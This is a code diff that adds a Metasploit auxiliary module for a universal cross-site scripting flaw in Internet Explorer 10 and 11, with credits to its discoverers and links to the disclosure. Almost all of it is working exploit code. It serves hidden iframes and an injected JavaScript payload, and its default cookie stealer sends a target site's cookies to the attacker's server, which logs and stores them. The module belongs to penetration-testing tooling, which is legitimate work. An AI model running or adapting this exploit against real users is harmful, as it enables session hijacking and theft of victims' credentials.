|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpServer |
| 11 | + |
| 12 | + def initialize(info={}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => "Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection", |
| 15 | + 'Description' => %q{ |
| 16 | + This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet |
| 17 | + Explorer 10 and 11. It will steal the cookie of a specific webiste (set by the TARGET_URI |
| 18 | + datastore option). You will also most likely need to configure the URIHOST if you are behind NAT. |
| 19 | + If CUSTOMJS isn't specified, a default cookie stealer will kick in. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'David Leo', # Original discovery |
| 25 | + 'filedescriptor', # PoC |
| 26 | + 'joev', # He figured it out really |
| 27 | + 'sinn3r' # MSF |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'URL', 'http://www.deusen.co.uk/items/insider3show.3362009741042107/'], |
| 32 | + [ 'URL', 'http://innerht.ml/blog/ie-uxss.html' ], |
| 33 | + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Feb/10' ] |
| 34 | + ], |
| 35 | + 'Platform' => 'win', |
| 36 | + 'DisclosureDate' => "Feb 2 2015" |
| 37 | + )) |
| 38 | + |
| 39 | + register_options( |
| 40 | + [ |
| 41 | + OptString.new('TARGET_URI', [ true, 'The URL for the target iframe' ]), |
| 42 | + OptString.new('CUSTOMJS', [ false, 'Custom JavaScript' ]) |
| 43 | + ], self.class) |
| 44 | + end |
| 45 | + |
| 46 | + def setup |
| 47 | + if target_uri !~ /^http/i |
| 48 | + raise Msf::OptionValidateError.new(['TARGET_URI']) |
| 49 | + end |
| 50 | + |
| 51 | + super |
| 52 | + end |
| 53 | + |
| 54 | + def target_uri |
| 55 | + datastore['TARGET_URI'] |
| 56 | + end |
| 57 | + |
| 58 | + def get_html |
| 59 | + @html ||= html |
| 60 | + end |
| 61 | + |
| 62 | + def ninja_cookie_stealer_name |
| 63 | + @ninja ||= "#{Rex::Text.rand_text_alpha(5)}.php" |
| 64 | + end |
| 65 | + |
| 66 | + def get_uri(cli=self.cli) |
| 67 | + ssl = datastore["SSL"] |
| 68 | + proto = (ssl ? "https://" : "http://") |
| 69 | + if datastore['URIHOST'] |
| 70 | + host = datastore['URIHOST'] |
| 71 | + elsif (cli and cli.peerhost) |
| 72 | + host = Rex::Socket.source_address(cli.peerhost) |
| 73 | + else |
| 74 | + host = srvhost_addr |
| 75 | + end |
| 76 | + |
| 77 | + if Rex::Socket.is_ipv6?(host) |
| 78 | + host = "[#{host}]" |
| 79 | + end |
| 80 | + |
| 81 | + if datastore['URIPORT'] != 0 |
| 82 | + port = ':' + datastore['URIPORT'].to_s |
| 83 | + elsif (ssl and datastore["SRVPORT"] == 443) |
| 84 | + port = '' |
| 85 | + elsif (!ssl and datastore["SRVPORT"] == 80) |
| 86 | + port = '' |
| 87 | + else |
| 88 | + port = ":" + datastore["SRVPORT"].to_s |
| 89 | + end |
| 90 | + |
| 91 | + uri = proto + host + port + get_resource |
| 92 | + |
| 93 | + uri |
| 94 | + end |
| 95 | + |
| 96 | + def server_uri |
| 97 | + @server_uri ||= get_uri |
| 98 | + end |
| 99 | + |
| 100 | + def js |
| 101 | + datastore['CUSTOMJS'] || %Q|var e = document.createElement('img'); e.src='#{server_uri}/#{ninja_cookie_stealer_name}?data=' + encodeURIComponent(document.cookie);| |
| 102 | + end |
| 103 | + |
| 104 | + def html |
| 105 | + %Q| |
| 106 | +<iframe style="display:none" src="#{get_resource}/redirect.php"></iframe> |
| 107 | +<iframe style="display:none" src="#{datastore['TARGET_URI']}"></iframe> |
| 108 | +<script> |
| 109 | + window.onmessage = function(e){ top[1].postMessage(atob("#{Rex::Text.encode_base64(js)}"),"*"); }; |
| 110 | + var payload = 'window.onmessage=function(e){ setTimeout(e.data); }; top.postMessage(\\\\"\\\\",\\\\"*\\\\")'; |
| 111 | + top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","#{get_resource}/sleep.php",false),send();_.location="javascript:%22%3Cscript%3E'+ encodeURIComponent(payload) +'%3C%2Fscript%3E%22"'); |
| 112 | +</script> |
| 113 | + | |
| 114 | + end |
| 115 | + |
| 116 | + def run |
| 117 | + exploit |
| 118 | + end |
| 119 | + |
| 120 | + def extract_cookie(uri) |
| 121 | + Rex::Text.uri_decode(uri.to_s.scan(/#{ninja_cookie_stealer_name}\?data=(.+)/).flatten[0].to_s) |
| 122 | + end |
| 123 | + |
| 124 | + def on_request_uri(cli, request) |
| 125 | + case request.uri |
| 126 | + when /redirect\.php/ |
| 127 | + print_status("Sending redirect") |
| 128 | + send_redirect(cli, "#{datastore['TARGET_URI']}") |
| 129 | + when /sleep\.php/ |
| 130 | + sleep(3) |
| 131 | + send_response(cli, '') |
| 132 | + when /#{ninja_cookie_stealer_name}/ |
| 133 | + data = extract_cookie(request.uri) |
| 134 | + if data.blank? |
| 135 | + print_status("The XSS worked, but no cookie") |
| 136 | + else |
| 137 | + print_status("Got cookie") |
| 138 | + print_line(data) |
| 139 | + report_note( |
| 140 | + :host => cli.peerhost, |
| 141 | + :type => 'ie.cookie', |
| 142 | + :data => data |
| 143 | + ) |
| 144 | + path = store_loot('ie_uxss_cookie', "text/plain", cli.peerhost, data, "#{cli.peerhost}_ie_cookie.txt", "IE Cookie") |
| 145 | + vprint_good("Cookie stored as: #{path}") |
| 146 | + end |
| 147 | + else |
| 148 | + print_status("Sending HTML") |
| 149 | + send_response(cli, get_html) |
| 150 | + end |
| 151 | + end |
| 152 | + |
| 153 | +end |
0 commit comments